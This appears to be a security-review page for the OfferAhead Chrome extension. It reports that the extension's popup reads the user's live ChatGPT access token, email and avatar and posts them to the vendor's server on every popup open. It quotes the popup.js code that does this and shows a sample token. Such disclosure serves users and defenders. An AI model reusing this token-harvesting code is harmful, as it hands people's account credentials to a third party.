Is OfferAhead — Freelance Copilot safe?

Medium risk

OfferAhead sends your live ChatGPT access token to its own server every time you open the popup.

When a ChatGPT session is connected, the popup reads the access token, email, and avatar directly from a logged-in chatgpt.com session and posts them to OfferAhead's own backend (app.offerahead.com), which stores them server-side. This happens automatically on every popup open, not just when you first connect. Separately, on Upwork job listing pages the extension continuously collects job details (title, description, budget, client spend, region) and sends them to OfferAhead's telemetry endpoint regardless of whether the "Jobs screening" toggle is turned on.

contactv1.5.0Chrome Web Store
49Risk
Who publishes it

contact - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
contact

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Connecting ChatGPT sends your live session token to OfferAhead's server

Clicking Connect ChatGPT reads your live chatgpt.com session token and sends it, with your email and avatar, to OfferAhead's own server, which stores it and resends it every time you reopen the popup.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You click Connect ChatGPT in the extension's popup while logged into chatgpt.com in this browser.

The popup frames this as letting drafting run on your own ChatGPT plan.

The extension did this

The extension reads your live chatgpt.com session token and posts it to OfferAhead's own server, which stores it.

The same request fires again, unprompted, every time you reopen the popup while connected.

Fields posted to app.offerahead.com/api/extension/chatgpt
  • ChatGPT access token
    eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyXzc3ZTIiLCJpYXQiOjE3MjU2NjcyMDB9.k3fA9pQmX2rT

    The bearer token that logs in as you on chatgpt.com. Anyone holding it can act as your ChatGPT account.

  • Account email
    alex.chen@example.com

    The email on your ChatGPT account, linked to the token in OfferAhead's own database.

  • Avatar image URL
    https://lh3.googleusercontent.com/a/ACg8ocJxQK9F

    Your ChatGPT profile picture link, shown in OfferAhead's dashboard next to your account.

The code that does this

popup.js reads the live ChatGPT token and posts it off device

Readable version

readChatgptSession() reads the token from chatgpt.com

popup.js
async function readChatgptSession() {    for (const url of CHATGPT_SESSION_URLS) {        try {            const res = await fetch(url, { credentials: "include" });            if (!res.ok)                continue;            const data = (await res.json().catch(() => ({})));            if (typeof data.accessToken === "string" && data.accessToken) {                const u = data.user ?? {};                return {                    accessToken: data.accessToken,                    user: {                        email: typeof u.email === "string" ? u.email : undefined,                        image: typeof u.image === "string" ? u.image : undefined,                    },                };            }        }        catch {            // Host unreachable / not permitted, try the next.        }    }    return null;}

connectChatgpt() and refreshChatgpt() post the token to OfferAhead

popup.js
async function connectChatgpt() {    const session = await readChatgptSession();    if (!session) {        paintChatgpt(false, null);        return;    }    const res = await fetch(`${API_BASE}/api/extension/chatgpt`, {        method: "POST",        credentials: "include",        headers: { "Content-Type": "application/json" },        body: JSON.stringify({            accessToken: session.accessToken,            email: session.user.email,            image: session.user.image,        }),    });    // ...}async function refreshChatgpt(session) {    try {        await fetch(`${API_BASE}/api/extension/chatgpt`, {            method: "POST",            credentials: "include",            headers: { "Content-Type": "application/json" },            body: JSON.stringify({                accessToken: session.accessToken,                email: session.user.email,                image: session.user.image,            }),        });    }    catch {        // Best effort, the next popup open reconciles.    }}
When this fires

On every browser startup

Resends the token, email, and avatar every time the popup opens while a connection is already stored, with no new click.

The extension's other ChatGPT path works differently

background.js has a separate ChatGPT path whose own comment says no token ever touches our infrastructure, calling chatgpt.com directly from the background worker. The popup flow above sends the token to OfferAhead's server instead.

Third-party destinations
    • app.offerahead.com

    OfferAhead's own backend. Receives and stores the live ChatGPT access token, account email, and avatar URL sent from the popup.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed offerahead-—-ai-proposals contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • app.offerahead.com

    offerahead-—-ai-proposals sends data to app.offerahead.com. No other extension we have analyzed sends data here.

Updated 30 September 2026ekeilfjdghkpfmojdpbmlcdeieemihmg